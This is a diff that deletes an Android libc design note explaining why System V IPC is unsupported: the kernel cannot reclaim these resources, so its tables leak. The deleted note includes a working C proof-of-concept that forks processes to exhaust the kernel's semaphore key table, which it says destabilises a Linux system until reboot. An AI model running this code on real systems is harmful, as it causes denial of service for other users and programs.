auto import from //depot/cupcake/@135843

1 files changed, 0 insertions, 103 deletions

diff --git a/libc/docs/SYSV-IPC.TXT b/libc/docs/SYSV-IPC.TXT
deleted file mode 100644
index 5a3eef0..0000000
--- a/libc/docs/SYSV-IPC.TXT
+++ /dev/null
@@ -1,103 +0,0 @@
-Android does not support System V IPCs, i.e. the facilities provided by the
-following standard Posix headers:
-
-  <sys/sem.h>   /* SysV semaphores */
-  <sys/shm.h>   /* SysV shared memory segments */
-  <sys/msg.h>   /* SysV message queues */
-  <sys/ipc.h>   /* General IPC definitions */
-
-The reason for this is due to the fact that, by design, they lead to global
-kernel resource leakage.
-
-For example, there is no way to automatically release a SysV semaphore
-allocated in the kernel when:
-
-- a buggy or malicious process exits
-- a non-buggy and non-malicious process crashes or is explicitely killed.
-
-Killing processes automatically to make room for new ones is an
-important part of Android's application lifecycle implementation. This means
-that, even assuming only non-buggy and non-malicious code, it is very likely
-that over time, the kernel global tables used to implement SysV IPCs will fill
-up.
-
-At that point, strange failures are likely to occur and prevent programs that
-use them to run properly until the next reboot of the system.
-
-And we can't ignore potential malicious applications. As a proof of concept
-here is a simple exploit that you can run on a standard Linux box today:
-
---------------- cut here ------------------------
-#include <sys/sem.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-
-#define  NUM_SEMAPHORES  32
-#define  MAX_FAILS       10
-
-int  main(void)
-{
-    int   counter = 0;
-    int   fails   = 0;
-
-    if (counter == IPC_PRIVATE)
-        counter++;
-
-    printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
-
-    for (;;) {
-        int  ret = fork();
-        int  status;
-
-        if (ret < 0) {
-            perror("fork:");
-            break;
-        }
-        if (ret == 0) {
-            /* in the child */
-            ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
-            if (ret < 0) {
-                return errno;
-            }
-            return 0;
-        }
-        else {
-            /* in the parent */
-            ret = wait(&status);
-            if (ret < 0) {
-                perror("waitpid:");
-                break;
-            }
-            if (status != 0) {
-                status = WEXITSTATUS(status);
-                fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
-                                counter, status);
-                if (++fails >= MAX_FAILS)
-                    break;
-            }
-        }
-
-        counter++;
-        if ((counter % 1000) == 0) {
-            printf("%d\n", counter);
-        }
-        if (counter == IPC_PRIVATE)
-            counter++;
-    }
-    return 0;
-}
---------------- cut here ------------------------
-
-If you run it on a typical Linux distribution today, you'll discover that it
-will quickly fill up the kernel's table of unique key_t values, and that
-strange things will happen in some parts of the system, but not all.
-
-(You can use the "ipcs -u" command to get a summary describing the kernel
- tables and their allocations)
-
-For example, in our experience, anything program launched after that that
-calls strerror() will simply crash. The USB sub-system starts spoutting weird
-errors to the system console, etc...